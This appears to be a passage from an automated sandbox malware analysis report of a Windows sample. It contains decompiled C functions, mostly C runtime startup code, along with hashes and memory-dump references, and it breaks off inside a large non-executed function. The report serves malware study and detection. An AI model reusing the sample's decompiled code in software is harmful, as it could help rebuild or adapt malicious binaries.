Instruction Fuzzy Hash: D4D16973D1E9B30AC735816E406852BEE626FD165431ECBF28CA03F3C9923E9C159AD4

Uniqueness

Uniqueness Score: 0.00%

Function 0040DEA2, Relevance: .4, Instructions: 361COMMON

Memory Dump Source

Source File: 00000004.00000002.338819645.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 7fca493d879a62e6918e710b23eb95b4d266cc73d089ae5d791de806530453cb
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 42C17A73D1E9B30AC736816E405862BEE626FD165431ECBB28CD03F3C9963E9C1899D4

Uniqueness

Uniqueness Score: 0.00%

Function 0040DACE, Relevance: .4, Instructions: 351COMMON

Memory Dump Source

Source File: 00000004.00000002.338819645.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: ce88f9485176d4875145ff3ea6bfcb71f8838c56104a01cd68228ac215d480a9
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 90C16A73D1E9B30AC73681AD445862BEE626FD165432EC7B28C903F3C9D63E9D0899D4

Uniqueness

Uniqueness Score: 0.00%

Function 00020C9F, Relevance: .0, Instructions: 38COMMON

Memory Dump Source

Source File: 00000004.00000002.337940198.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 497219795e5702323352ba5b8e24cf6847f2108543f2b84c769f7eff021c4de5
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: A2F0CDB6A012248FDB21CF64E849BAE73FAFB84305F2441A5D90AD7242E330A9418B90

Uniqueness

Uniqueness Score: 0.00%

Function 004139C0, Relevance: 6.0, APIs: 4, Instructions: 49COMMON

APIs

__cftof_l.LIBCMT ref: 004139E6

Part of subcall function 0041380B: __fltout2.LIBCMT ref: 00413837
Part of subcall function 0041380B: __fptostr.LIBCMT ref: 00413892
Part of subcall function 0041380B: __cftof2_l.LIBCMT ref: 004138AF

__cftog_l.LIBCMT ref: 00413A0C

Part of subcall function 004138C6: __fltout2.LIBCMT ref: 004138F2
Part of subcall function 004138C6: __fptostr.LIBCMT ref: 00413949
Part of subcall function 004138C6: __cftof2_l.LIBCMT ref: 0041398B
Part of subcall function 004138C6: __cftoe2_l.LIBCMT ref: 004139A9

__cftoa_l.LIBCMT ref: 00413A25

Part of subcall function 004133A1: __cftoe.LIBCMT ref: 00413460
Part of subcall function 004133A1: _strrchr.LIBCMT ref: 004134A5
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 0041369A
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 004136C0
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 004136E6

__cftoe_l.LIBCMT ref: 00413A3E

Part of subcall function 004132B1: __fltout2.LIBCMT ref: 004132DD
Part of subcall function 004132B1: __fptostr.LIBCMT ref: 00413349
Part of subcall function 004132B1: __cftoe2_l.LIBCMT ref: 0041336A

Memory Dump Source

Source File: 00000004.00000001.331542660.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_40d000_winsvcs.jbxd

Similarity

API ID: __alldvrm__fltout2__fptostr$__cftoe2_l__cftof2_l$__cftoa_l__cftoe__cftoe_l__cftof_l__cftog_l_strrchr
String ID:
API String ID: 2916730570-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 8546ce1d98dbb9bc63335d1028909b0dafdd7bac1f0b556e445c1aad64e8933c
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: F811923240004EBBCF125F85DC01CEE3F66BF18395B588416FE5859131D73ACAB2AB89

Uniqueness

Uniqueness Score: 3.53%

Function 00412B67, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58UNIQUE

APIs

VirtualQuery.KERNEL32(00000000,00000000,00000000,?), ref: 00412BC9
RaiseException.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412BE1

Strings

VirtualAlloc, xrefs: 00412BCF

Memory Dump Source

Source File: 00000004.00000001.331542660.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_40d000_winsvcs.jbxd

Similarity

API ID: ExceptionQueryRaiseVirtual
String ID: VirtualAlloc
API String ID: 1696120375-164498762
Opcode ID: d116109981916531699c92b386ab4520f1965e0cd390000dda45b0b2fe18910c
Instruction ID: 0fc0153c45b57d5202533546e6c51e85dddc66d0ec059ce193bc8f8f33732c09
Opcode Fuzzy Hash: d116109981916531699c92b386ab4520f1965e0cd390000dda45b0b2fe18910c
Instruction Fuzzy Hash: C31102B1F0AA505EE3609F299C407B2FBA8E714371F44143AEC89C3211C6BC58D287AC

Uniqueness

Uniqueness Score: 100.00%

Analysis Process: 153661691311498.exe PID: 11380 Parent PID: 3260153661691311498.exeUNIQUE

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.7%
Total number of Nodes:	1918
Total number of Limit Nodes:	67

Executed Functions

Function 00409966, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409966(_Unknown_base(*)()* _a4) {
				_Unknown_base(*)()* _t2;

				_t2 = SetUnhandledExceptionFilter(_a4); // executed
				return _t2;
			}

0x0040996c
0x00409973

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0040996C

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 05e517c605675443eb96603ff463fbcbb98e83f3dd3d142196c19f9d63d63f15
Instruction ID: f9e482a81f1b80f73653ef3b4569d0a71a25f3d6de1cb893e7b9f2ddbde84391
Opcode Fuzzy Hash: 05e517c605675443eb96603ff463fbcbb98e83f3dd3d142196c19f9d63d63f15
Instruction Fuzzy Hash: 8DA0123040010DA78A001B41EC054C43F1CD6041507008020FA0C40430D72254504584

Uniqueness

Uniqueness Score: 0.01%

Function 00405710, Relevance: 19.6, APIs: 13, Instructions: 89
UNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				void* _t21;
				intOrPtr _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				signed int _t38;
				void* _t48;
				signed int _t51;
				void* _t53;
				void* _t55;

				_t49 = __edi;
				_t48 = __edx;
				E00409463();
				_push(0x14);
				_push(0x416ac8);
				E00405FD0(__ebx, __edi, __esi);
				_t51 = E0040964A() & 0x0000ffff;
				E00409416(2);
				_t55 =  *0x400000 - 0x5a4d; // 0x5a4d
				if(_t55 == 0) {
					_t17 =  *0x40003c; // 0xe8
					__eflags =  *((intOrPtr*)(_t17 + 0x400000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0x400000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0x400018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0x400018)) != 0x10b) {
							goto L2;
						} else {
							_t38 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0x400074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0x400074)) > 0xe) {
								__eflags =  *(_t17 + 0x4000e8);
								_t6 =  *(_t17 + 0x4000e8) != 0;
								__eflags = _t6;
								_t38 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t38 = 0;
				}
				 *(_t53 - 0x1c) = _t38;
				_t18 = E00408C23();
				_t56 = _t18;
				if(_t18 == 0) {
					E0040586A(0x1c);
				}
				_t19 = E00406ECD(_t38, _t49, _t56);
				_t57 = _t19;
				if(_t19 == 0) {
					_t19 = E0040586A(0x10);
				}
				E004094FF(_t19);
				 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
				_t21 = E00408C38(_t38, _t49, _t51, _t57); // executed
				if(_t21 < 0) {
					E0040586A(0x1b);
				}
				 *0x4210dc = GetCommandLineA(); // executed
				_t23 = E0040953F(_t48); // executed
				 *0x41f24c = _t23;
				_t24 = E00408EEC();
				_t59 = _t24;
				if(_t24 < 0) {
					E00405C0E(_t38, _t48, _t49, _t51, _t59, 8);
				}
				_t25 = E0040911B(_t38, _t48, _t49, _t51);
				_t60 = _t25;
				if(_t25 < 0) {
					E00405C0E(_t38, _t48, _t49, _t51, _t60, 9);
				}
				_t26 = E00405C48(1); // executed
				_t61 = _t26;
				if(_t26 != 0) {
					E00405C0E(_t38, _t48, _t49, _t51, _t61, _t26);
				}
				_t27 = E004099AD();
				_push(_t51);
				_push(_t27);
				_push(0);
				_push(0x400000);
				E004019E2();
				_t52 = _t27;
				 *((intOrPtr*)(_t53 - 0x24)) = _t27;
				if(_t38 == 0) {
					E00405EB1(_t52);
				}
				E00405C39();
				 *(_t53 - 4) = 0xfffffffe;
				return E00406015(_t52);
			}

0x00405710
0x00405710
0x00405710
0x0040571a
0x0040571c
0x00405721
0x0040572b
0x00405730
0x0040573b
0x00405742
0x00405748
0x0040574d
0x00405757
0x00000000
0x00405759
0x0040575e
0x00405765
0x00000000
0x00405767
0x00405767
0x00405769
0x00405770
0x00405772
0x00405778
0x00405778
0x00405778
0x00405778
0x00405770
0x00405765
0x00405744
0x00405744
0x00405744
0x00405744
0x0040577b
0x0040577e
0x00405783
0x00405785
0x00405789
0x0040578e
0x0040578f
0x00405794
0x00405796
0x0040579a
0x0040579f
0x004057a0
0x004057a5
0x004057a9
0x004057b0
0x004057b4
0x004057b9
0x004057c0
0x004057c5
0x004057ca
0x004057cf
0x004057d4
0x004057d6
0x004057da
0x004057df
0x004057e0
0x004057e5
0x004057e7
0x004057eb
0x004057f0
0x004057f3
0x004057f9
0x004057fb
0x004057fe
0x00405803
0x00405804
0x00405809
0x0040580a
0x0040580b
0x0040580d
0x00405812
0x00405817
0x00405819
0x0040581e
0x00405821
0x00405821
0x00405826
0x0040585b
0x00405869

APIs

___security_init_cookie.LIBCMT ref: 00405710

Part of subcall function 00409463: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00409497
Part of subcall function 00409463: GetCurrentThreadId.KERNEL32 ref: 004094A6
Part of subcall function 00409463: GetCurrentProcessId.KERNEL32 ref: 004094AF
Part of subcall function 00409463: QueryPerformanceCounter.KERNEL32(?), ref: 004094BC

___crtGetShowWindowMode.LIBCMT ref: 00405726

Part of subcall function 0040964A: GetStartupInfoW.KERNEL32(?), ref: 00409654

Part of subcall function 00408C23: GetProcessHeap.KERNEL32(00405783,00416AC8,00000014), ref: 00408C23

_fast_error_exit.LIBCMT ref: 00405789

Part of subcall function 00406ECD: __init_pointers.LIBCMT ref: 00406ECD
Part of subcall function 00406ECD: __mtinitlocks.LIBCMT ref: 00406ED2
Part of subcall function 00406ECD: __mtterm.LIBCMT ref: 00406EDB
Part of subcall function 00406ECD: __calloc_crt.LIBCMT ref: 00406F00
Part of subcall function 00406ECD: __initptd.LIBCMT ref: 00406F22
Part of subcall function 00406ECD: GetCurrentThreadId.KERNEL32(00405794,00416AC8,00000014), ref: 00406F29
Part of subcall function 00406ECD: __mtterm.LIBCMT ref: 00406F3A

_fast_error_exit.LIBCMT ref: 0040579A
__RTC_Initialize.LIBCMT ref: 004057A0
__ioinit.LIBCMT ref: 004057A9

Part of subcall function 00408C38: __lock.LIBCMT ref: 00408C46
Part of subcall function 00408C38: __calloc_crt.LIBCMT ref: 00408C57
Part of subcall function 00408C38: @_EH4_CallFilterFunc@8.LIBCMT ref: 00408C72
Part of subcall function 00408C38: GetStartupInfoW.KERNEL32(?,00416D18,00000064,004057AE,00416AC8,00000014), ref: 00408CCB
Part of subcall function 00408C38: __calloc_crt.LIBCMT ref: 00408D16
Part of subcall function 00408C38: GetFileType.KERNEL32(00000001), ref: 00408D5F
Part of subcall function 00408C38: GetStdHandle.KERNEL32(-000000F6), ref: 00408E59
Part of subcall function 00408C38: GetFileType.KERNEL32(00000000), ref: 00408E6C

_fast_error_exit.LIBCMT ref: 004057B4

Part of subcall function 0040586A: __FF_MSGBANNER.LIBCMT ref: 00405876
Part of subcall function 0040586A: __NMSG_WRITE.LIBCMT ref: 0040587E

GetCommandLineA.KERNEL32(00416AC8,00000014), ref: 004057BA
___crtGetEnvironmentStringsA.LIBCMT ref: 004057C5

Part of subcall function 0040953F: GetEnvironmentStringsW.KERNEL32(?,?,?,004057CA), ref: 00409544
Part of subcall function 0040953F: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?,?,?,004057CA), ref: 00409578
Part of subcall function 0040953F: __malloc_crt.LIBCMT ref: 00409586
Part of subcall function 0040953F: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,?,00000000,00000000,?,?,?,?,004057CA), ref: 0040959E
Part of subcall function 0040953F: _free.LIBCMT ref: 004095A9
Part of subcall function 0040953F: FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,004057CA), ref: 004095B2
Part of subcall function 0040953F: FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,004057CA), ref: 004095BD

__setargv.LIBCMT ref: 004057CF

Part of subcall function 00408EEC: ___initmbctable.LIBCMT ref: 00408EFA
Part of subcall function 00408EEC: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user~1\AppData\Local\Temp\153661691311498.exe,00000104,?,?,00000000,?,?,?,004057D4), ref: 00408F16
Part of subcall function 00408EEC: _parse_cmdline.LIBCMT ref: 00408F3D
Part of subcall function 00408EEC: __malloc_crt.LIBCMT ref: 00408F60
Part of subcall function 00408EEC: _parse_cmdline.LIBCMT ref: 00408F7A

__setenvp.LIBCMT ref: 004057E0

Part of subcall function 0040911B: ___initmbctable.LIBCMT ref: 00409124
Part of subcall function 0040911B: _strlen.LIBCMT ref: 00409145
Part of subcall function 0040911B: __calloc_crt.LIBCMT ref: 0040915A
Part of subcall function 0040911B: _strlen.LIBCMT ref: 0040917A
Part of subcall function 0040911B: __calloc_crt.LIBCMT ref: 0040918B
Part of subcall function 0040911B: _free.LIBCMT ref: 004091B8
Part of subcall function 0040911B: _free.LIBCMT ref: 004091DE
Part of subcall function 0040911B: __invoke_watson.LIBCMT ref: 004091F6

__cinit.LIBCMT ref: 004057F3

Part of subcall function 00405C48: __IsNonwritableInCurrentImage.LIBCMT ref: 00405C59
Part of subcall function 00405C48: __initp_misc_cfltcvt_tab.LIBCMT ref: 00405C6D
Part of subcall function 00405C48: __initterm_e.LIBCMT ref: 00405C7C
Part of subcall function 00405C48: __IsNonwritableInCurrentImage.LIBCMT ref: 00405CB2

__wincmdln.LIBCMT ref: 00405804

Part of subcall function 004099AD: ___initmbctable.LIBCMT ref: 004099B9

Part of subcall function 004019E2: GetLocalTime.KERNEL32(?), ref: 00401D3B
Part of subcall function 004019E2: GetLocalTime.KERNEL32(?), ref: 00401D4D
Part of subcall function 004019E2: GetLocalTime.KERNEL32(?), ref: 00401D57
Part of subcall function 004019E2: GetLocalTime.KERNEL32(?), ref: 00401D69

Part of subcall function 00405C39: _doexit.LIBCMT ref: 00405C3F

Part of subcall function 00405EB1: _doexit.LIBCMT ref: 00405EBB

Part of subcall function 00405C0E: __FF_MSGBANNER.LIBCMT ref: 00405C11
Part of subcall function 00405C0E: __NMSG_WRITE.LIBCMT ref: 00405C19

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: Time$Current__calloc_crt$EnvironmentFileLocalStrings$___initmbctable_fast_error_exit_free$ByteCharFreeImageInfoMultiNonwritableProcessStartupThreadTypeWide___crt__malloc_crt__mtterm_doexit_parse_cmdline_strlen$CallCommandCounterFilterFunc@8HandleHeapInitializeLineModeModuleNamePerformanceQueryShowSystemWindow___security_init_cookie__cinit__init_pointers__initp_misc_cfltcvt_tab__initptd__initterm_e__invoke_watson__ioinit__lock__mtinitlocks__setargv__setenvp__wincmdln
String ID:
API String ID: 4146296232-0
Opcode ID: dc66185c9939215f445c12c638bbae51861bdcbd4904ce8304f918f212fb6fea
Instruction ID: 20caed640331f5488b606738d905f702e3636b85b3d3d9406dfe9241c959413b
Opcode Fuzzy Hash: dc66185c9939215f445c12c638bbae51861bdcbd4904ce8304f918f212fb6fea
Instruction Fuzzy Hash: E5216031644B15D9FB207BB2A986B6B2154DF00719F10443FF905BB1D3EEBC8841AE6D

Uniqueness

Uniqueness Score: 100.00%

Function 004043B3, Relevance: 3.0, APIs: 2, Instructions: 21
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E004043B3() {
				signed int* _t1;
				void* _t3;
				signed int* _t6;

				_t1 = E00405EF6(0x20, 4);
				_t6 = _t1;
				__imp__EncodePointer(_t6); // executed
				 *0x4210d0 = _t1;
				 *0x4210cc = _t1;
				if(_t6 != 0) {
					 *_t6 =  *_t6 & 0x00000000;
					return 0;
				} else {
					_t3 = 0x18;
					return _t3;
				}
			}

0x004043b8
0x004043bf
0x004043c2
0x004043c8
0x004043cd
0x004043d4
0x004043db
0x004043e1
0x004043d6
0x004043d8
0x004043da
0x004043da

APIs

__calloc_crt.LIBCMT ref: 004043B8

Part of subcall function 00405EF6: __calloc_impl.LIBCMT ref: 00405F05

RtlEncodePointer.NTDLL(00000000), ref: 004043C2

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: EncodePointer__calloc_crt__calloc_impl
String ID:
API String ID: 1313826993-0
Opcode ID: 0fe85fa36c9cea327a3f1db312017f98005fe5636d9ec1141c9c73f8a1b203f4
Instruction ID: a71a9c09f9aac21d71ff3122118c813ae16ddf70e929613e5168c125a45465cf
Opcode Fuzzy Hash: 0fe85fa36c9cea327a3f1db312017f98005fe5636d9ec1141c9c73f8a1b203f4
Instruction Fuzzy Hash: 89D01272A496615AE3715B25BC057962AD0DB04770F11442BEA44D66E0EE7448814A98

Uniqueness

Uniqueness Score: 6.12%

Function 0040966D, Relevance: 3.0, APIs: 2, Instructions: 18
COMMONLIBRARYCODE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0040966D(struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _t6;
				signed int _t7;
				void* _t11;

				_t6 =  *0x421050; // 0xa5f6c342
				_t7 = _t6 ^  *0x41de90;
				if(_t7 == 0) {
					InitializeCriticalSectionAndSpinCount(_a4, _a8);
					return 1;
				} else {
					_t11 =  *_t7(_a4, _a8, _a12); // executed
					return _t11;
				}
			}

0x00409670
0x00409675
0x0040967b
0x00409690
0x0040969a
0x0040967d
0x00409686
0x00409689
0x00409689

APIs

InitializeCriticalSectionEx.KERNELBASE(?,?,?,?,0040A145,0041E1E0,00000FA0,00000000,?,?,00406ED7,00405794,00416AC8,00000014), ref: 00409686
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,0040A145,0041E1E0,00000FA0,00000000,?,?,00406ED7,00405794,00416AC8,00000014), ref: 00409690

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: CriticalInitializeSection$CountSpin
String ID:
API String ID: 4156364057-0
Opcode ID: e2a46d37ad9e7693155eed5eb27f2f0cc977cc14569600f4a7f059a2c2194355
Instruction ID: 99ba80fb2ac5aa01549d54534c66b189a7ea6b588c6ce5cd018ea085cded2252
Opcode Fuzzy Hash: e2a46d37ad9e7693155eed5eb27f2f0cc977cc14569600f4a7f059a2c2194355
Instruction Fuzzy Hash: 48D01732014148BFCF029FD4EC0089A3FAAFB48255B41C421F92D89430C333AA61AB48

Uniqueness

Uniqueness Score: 0.31%

Function 004043E2, Relevance: 1.5, APIs: 1, Instructions: 16
COMMONLIBRARYCODE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004043E2(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t10;
				void* _t19;

				_push(0xc);
				_push(0x416aa8);
				E00405FD0(__ebx, __edi, __esi);
				 *(_t19 - 0x1c) =  *(_t19 - 0x1c) & 0x00000000;
				E00405D70();
				 *(_t19 - 4) =  *(_t19 - 4) & 0x00000000;
				_t10 = E00404426( *((intOrPtr*)(_t19 + 8))); // executed
				 *(_t19 - 0x1c) = _t10;
				 *(_t19 - 4) = 0xfffffffe;
				E00404420();
				return E00406015(_t10);
			}

0x004043e2
0x004043e4
0x004043e9
0x004043ee
0x004043f2
0x004043f7
0x004043fe
0x00404406
0x00404409
0x00404410
0x0040441c

APIs

Part of subcall function 00405D70: __lock.LIBCMT ref: 00405D72

__onexit_nolock.LIBCMT ref: 004043FE

Part of subcall function 00404426: RtlDecodePointer.NTDLL(?,?,00000000,?,?,00404403,?,00416AA8,0000000C,004044E9,?,?,00405C91,0040951F,?,004057F8), ref: 00404439
Part of subcall function 00404426: RtlDecodePointer.NTDLL(?,?,00000000,?,?,00404403,?,00416AA8,0000000C,004044E9,?,?,00405C91,0040951F,?,004057F8), ref: 00404444
Part of subcall function 00404426: __realloc_crt.LIBCMT ref: 00404485
Part of subcall function 00404426: __realloc_crt.LIBCMT ref: 00404499
Part of subcall function 00404426: EncodePointer.KERNEL32(00000000,?,?,00000000,?,?,00404403,?,00416AA8,0000000C,004044E9,?,?,00405C91,0040951F), ref: 004044AB
Part of subcall function 00404426: RtlEncodePointer.NTDLL(?,?,?,00000000,?,?,00404403,?,00416AA8,0000000C,004044E9,?,?,00405C91,0040951F), ref: 004044B9
Part of subcall function 00404426: RtlEncodePointer.NTDLL(00000004,?,?,00000000,?,?,00404403,?,00416AA8,0000000C,004044E9,?,?,00405C91,0040951F), ref: 004044C5

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: Pointer$Encode$Decode__realloc_crt$__lock__onexit_nolock
String ID:
API String ID: 3536590627-0
Opcode ID: 73f21ec42ffab5fddf87c6e277860994ef6ab31224d0b29a3a932c0a193ef35a
Instruction ID: 3e0167a674fa72a5a9484d76a1144179adb3c7fb22e3a0092efd0e439210f657
Opcode Fuzzy Hash: 73f21ec42ffab5fddf87c6e277860994ef6ab31224d0b29a3a932c0a193ef35a
Instruction Fuzzy Hash: DBD0C2B1C00604AACB10BBA6C80674D76A09F8033AFA1812FF0147A1C2CB7C0A014F88

Uniqueness

Uniqueness Score: 3.75%

Function 0040702B, Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00406FE4,00405D09,00000000,00000000,00000000,00000000,00000000,?,00406ED2,00405794,00416AC8,00000014), ref: 00407030

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: b7bbf9b8cd83e787f2142c1cc22a2607041f6954261f3ac5dd0bc7f451c31a9f
Instruction ID: aa232d23f9c1c4b8fe0dd26fcd4d7eb634e813a5b4bb3312dedbf1b6b195e8a8
Opcode Fuzzy Hash: b7bbf9b8cd83e787f2142c1cc22a2607041f6954261f3ac5dd0bc7f451c31a9f
Instruction Fuzzy Hash: 37A002B4D852429FC7005F61BD09AC43EE5F649702712817FE607D16B5FB7840559A1D

Uniqueness

Uniqueness Score: 0.05%

Non-executed Functions

Function 004019E2, Relevance: 382.9, APIs: 163, Strings: 55, Instructions: 1435
timewindowstringUNIQUE

C-Code - Quality: 98%

			E004019E2() {
				signed int _v4;
				struct _BY_HANDLE_FILE_INFORMATION _v56;
				char _v80;
				struct _SYSTEMTIME _v96;
				struct _SYSTEMTIME _v112;
				struct _SYSTEMTIME _v128;
				struct _SYSTEMTIME _v144;
				struct _SYSTEMTIME _v160;
				struct _SYSTEMTIME _v176;
				struct _SYSTEMTIME _v192;
				struct _SYSTEMTIME _v208;
				struct _SYSTEMTIME _v224;
				struct _SYSTEMTIME _v240;
				struct _SYSTEMTIME _v256;
				struct _SYSTEMTIME _v272;
				struct _SYSTEMTIME _v288;
				struct _SYSTEMTIME _v304;
				struct _SYSTEMTIME _v320;
				struct _SYSTEMTIME _v336;
				struct _SYSTEMTIME _v352;
				struct _SYSTEMTIME _v368;
				struct _SYSTEMTIME _v384;
				struct _SYSTEMTIME _v400;
				struct _SYSTEMTIME _v416;
				struct _SYSTEMTIME _v432;
				struct _SYSTEMTIME _v448;
				struct _SYSTEMTIME _v464;
				struct _SYSTEMTIME _v480;
				struct _SYSTEMTIME _v496;
				struct _SYSTEMTIME _v512;
				struct _SYSTEMTIME _v528;
				struct _SYSTEMTIME _v544;
				struct _SYSTEMTIME _v560;
				struct _SYSTEMTIME _v576;
				struct _SYSTEMTIME _v592;
				struct _SYSTEMTIME _v608;
				struct _SYSTEMTIME _v624;
				struct _SYSTEMTIME _v640;
				struct _SYSTEMTIME _v656;
				struct _SYSTEMTIME _v672;
				struct _SYSTEMTIME _v688;
				struct _SYSTEMTIME _v704;
				struct _SYSTEMTIME _v720;
				struct _SYSTEMTIME _v736;
				struct _SYSTEMTIME _v752;
				struct _SYSTEMTIME _v768;
				struct _SYSTEMTIME _v784;
				struct _SYSTEMTIME _v800;
				struct _SYSTEMTIME _v816;
				struct _SYSTEMTIME _v832;
				struct _SYSTEMTIME _v848;
				struct _SYSTEMTIME _v864;
				struct _SYSTEMTIME _v880;
				struct _SYSTEMTIME _v896;
				struct _SYSTEMTIME _v912;
				struct _SYSTEMTIME _v928;
				struct _SYSTEMTIME _v944;
				struct _SYSTEMTIME _v960;
				struct _SYSTEMTIME _v976;
				struct _SYSTEMTIME _v992;
				struct _SYSTEMTIME _v1008;
				struct _SYSTEMTIME _v1024;
				struct _SYSTEMTIME _v1040;
				struct _SYSTEMTIME _v1056;
				struct _SYSTEMTIME _v1072;
				struct _SYSTEMTIME _v1088;
